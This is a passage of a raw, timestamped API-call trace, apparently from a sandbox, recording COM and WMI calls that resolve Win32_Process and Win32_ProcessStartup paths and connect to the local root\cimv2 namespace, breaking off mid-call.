WbemDefPath:IUnknown:Release (This=0x1bbd87c0) returned 0x3 [0131.990] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0131.990] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0131.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf9a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0131.990] WbemDefPath:IUnknown:Release (This=0x1bbbf9a0) returned 0x2 [0131.990] WbemDefPath:IUnknown:Release (This=0x1bbbf9a0) returned 0x1 [0131.990] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0131.990] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0131.990] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf9a0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bbbf9a0) returned 0x0 [0131.990] WbemDefPath:IUnknown:AddRef (This=0x1bbbf9a0) returned 0x3 [0131.990] WbemDefPath:IUnknown:Release (This=0x1bbbf9a0) returned 0x2 [0131.990] WbemDefPath:IWbemPath:SetText (This=0x1bbbf9a0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0131.990] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf9a0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0131.990] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf9a0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0131.990] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf9a0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0131.990] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf9a0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0131.991] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf9a0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0131.991] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbf9a0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0131.991] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0131.991] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0131.991] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0131.991] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.992] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbd8800) returned 0x0 [0131.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8800, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0131.993] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8800, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bbbfa60) returned 0x0 [0131.993] WbemDefPath:IUnknown:Release (This=0x1bbd8800) returned 0x0 [0131.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfa60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bbbfa60) returned 0x0 [0131.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfa60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0131.993] WbemDefPath:IUnknown:AddRef (This=0x1bbbfa60) returned 0x3 [0131.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfa60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0131.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfa60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0131.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfa60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbd8840) returned 0x0 [0131.993] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8840, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.993] WbemDefPath:IUnknown:Release (This=0x1bbd8840) returned 0x3 [0131.993] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0131.993] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0131.993] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfa60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0131.994] WbemDefPath:IUnknown:Release (This=0x1bbbfa60) returned 0x2 [0131.994] WbemDefPath:IUnknown:Release (This=0x1bbbfa60) returned 0x1 [0131.994] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0131.994] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0131.994] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfa60, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bbbfa60) returned 0x0 [0131.994] WbemDefPath:IUnknown:AddRef (This=0x1bbbfa60) returned 0x3 [0131.994] WbemDefPath:IUnknown:Release (This=0x1bbbfa60) returned 0x2 [0131.994] WbemDefPath:IWbemPath:SetText (This=0x1bbbfa60, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0131.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfa60, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0131.994] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfa60, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0131.994] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfa60, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0131.994] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbfa60, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0131.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfa60, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0131.994] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bbbfa60, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0131.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfa60, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0131.994] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0131.994] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0131.994] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.994] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0131.994] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0131.994] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0131.994] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.996] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bbd8880) returned 0x0 [0131.996] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8880, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0131.996] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8880, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bbbfb20) returned 0x0 [0131.996] WbemDefPath:IUnknown:Release (This=0x1bbd8880) returned 0x0 [0131.996] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfb20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bbbfb20) returned 0x0 [0131.996] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfb20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0131.997] WbemDefPath:IUnknown:AddRef (This=0x1bbbfb20) returned 0x3 [0131.997] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfb20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0131.997] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfb20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0131.997] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfb20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bbd88c0) returned 0x0 [0131.997] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd88c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0131.997] WbemDefPath:IUnknown:Release (This=0x1bbd88c0) returned 0x3 [0131.997] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0131.997] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0131.997] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfb20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0131.997] WbemDefPath:IUnknown:Release (This=0x1bbbfb20) returned 0x2 [0131.997] WbemDefPath:IUnknown:Release (This=0x1bbbfb20) returned 0x1 [0131.997] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0131.997] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0131.997] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfb20, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bbbfb20) returned 0x0 [0131.997] WbemDefPath:IUnknown:AddRef (This=0x1bbbfb20) returned 0x3 [0131.997] WbemDefPath:IUnknown:Release (This=0x1bbbfb20) returned 0x2 [0131.997] WbemDefPath:IWbemPath:SetText (This=0x1bbbfb20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0131.997] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfb20, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0131.997] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfb20, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0131.997] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfb20, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0131.997] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0131.998] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0131.998] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0131.998] IUnknown:Release (This=0x1a943398) returned 0x1 [0131.998] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bbd89c0) returned 0x0 [0131.999] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd89c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0131.999] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bbd89c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bbd89e0) returned 0x0 [0131.999] WbemLocator:IUnknown:Release (This=0x1bbd89c0) returned 0x0 [0131.999] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd89e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bbd89e0) returned 0x0 [0131.999] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd89e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0131.999] WbemLocator:IUnknown:AddRef (This=0x1bbd89e0) returned 0x3 [0131.999] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd89e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0131.999] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd89e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0131.999] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd89e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0131.999] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0131.999] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0131.999] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd89e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0131.999] WbemLocator:IUnknown:Release (This=0x1bbd89e0) returned 0x2 [0131.999] WbemLocator:IUnknown:Release (This=0x1bbd89e0) returned 0x1 [0131.999] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0131.999] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0131.999] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd89e0, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bbd89e0) returned 0x0 [0132.000] WbemLocator:IUnknown:AddRef (This=0x1bbd89e0) returned 0x3 [0132.000] WbemLocator:IUnknown:Release (This=0x1bbd89e0) returned 0x2 [0132.000] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfb20, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0132.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfb20, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0132.000] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfb20, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.000] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bbd8a00) returned 0x0 [0132.000] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bbd8a00, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bbd9b00) returned 0x0 [0132.215] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9b00, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa033a0) returned 0x0 [0132.215] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa033a0, pProxy=0x1bbd9b00, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0132.215] WbemLocator:IUnknown:Release (This=0x1aa033a0) returned 0x1 [0132.215] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9b00, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1aa033e0) returned 0x0 [0132.215] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9b00, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa033a0) returned 0x0 [0132.215] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa033a0, pProxy=0x1bbd9b00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, 